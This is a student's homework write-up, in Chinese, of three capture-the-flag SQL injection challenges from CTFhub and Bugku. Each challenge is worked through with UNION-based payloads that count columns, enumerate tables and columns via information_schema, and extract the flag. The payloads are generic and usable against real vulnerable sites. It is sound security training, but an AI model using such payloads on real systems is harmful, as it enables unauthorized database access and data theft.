周五的SQL注入作业

一.CTFhub整数型注入

思路：库名 —> 表名 —> 字段名 —> 字段对应的内容

（此题详细记录，后两题直接上手）

题目提示为整数型注入

我们先输入1，回显正常

 输入1'，报错

 接下来开始操作                                                                                                                               第一步：首先知道表格有几列，如果报错就是超过列数，如果显示正常就是没有超出列数。

输入1 order by 2#时有回显，order by 3#时无回显，说明有两列

 第二步：爆出显示位。就是看看表格里面那一列是在页面显示的。注意将前面的参数值置换为空。可以看到是第二列里面的数据是显示在页面的。                                                                      输入 -1 union select 1,2#               回显位置为2

 

 第三步：获取当前数据名                                                                                                                   输入-1 union select 1,database()#         获取当前数据名sqli

 第四步： 爆表。information_schema.tables表示该数据库下的tables表，点表示下一级。where后面是条件，group_concat()是将查询到结果连接起来。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是sqli的所有table_name的内容。

注：获取sqli数据库下的所有表名，其中sqli前后需要加上单引号表示为字符串。sql语句中使用了单引号，为了避免单引号的使用，我们一般把字符转换成16进制编码。

输入-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'#                              得到表flag,news

第五步：爆字段名。 

该语句的意思是查询information_schema数据库下的columns表里面且table_name字段内容是flag的所有column_name的内。注意table_name字段不是只存在于tables表，也是存在columns表中。表示所有字段对应的表名。

输入-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'#                                    得到字段flag

 第六步：查询数据。       

输入-1 union select 1,flag from flag#获得flag

 

二.CTFhub字符型注入

思路：库名 —> 表名 —> 字段名 —> 字段对应的内容

题目提示为字符型注入

我们先输入1，回显'1'

 输入1'#注释它

接下来开始操作

第一步：首先知道表格有几列

输入1' order by 2#时有回显,1' order by 3#时无回显，说明有两列

 第二步：爆出显示位

输入-1'union select 1,2#        可以看到是第二列里面的数据是显示在页面的

 第三步：查库名

输入-1'union select 1,database()#     获取当前数据名sqli

第四步： 爆表

输入-1'union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'#                  得到表名： flag,news

 第五步：爆字段名

输入-1'union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'#                       得到字段：flag

第六步：查询数据

输入-1' union select 1,flag from flag#          得到flag

 

三.BUGKU成绩查询

思路：库名 —> 表名 —> 字段名 —> 字段对应的内容

输入1，2，3分别能查到1，2，3号学生的成绩；输入1'或1' --+返回异常，输入1' #返回正常,存在注入点。

 

 

接下来开始操作

第一步：首先知道表格有几列

输入1' order by 4#时有回显，1' order by 5#时无回显，说明有四列

第二步：爆出显示位 

输入-1'union select 1,2,3,4# 。可知有三个回显点

第三步：查库名 

输入-1'union select 1,2,database(),version() #   。获取当前数据名skctf

 第四步： 爆表

输入-1'union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='skctf'#  。得到表名：fl4g,sc

 

第五步：爆字段名 

输入-1'union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='fl4g'# 。得到字段skctf_flag

第六步：查询数据 

输入-1' union select 1,2,3,skctf_flag from fl4g# 。得到flag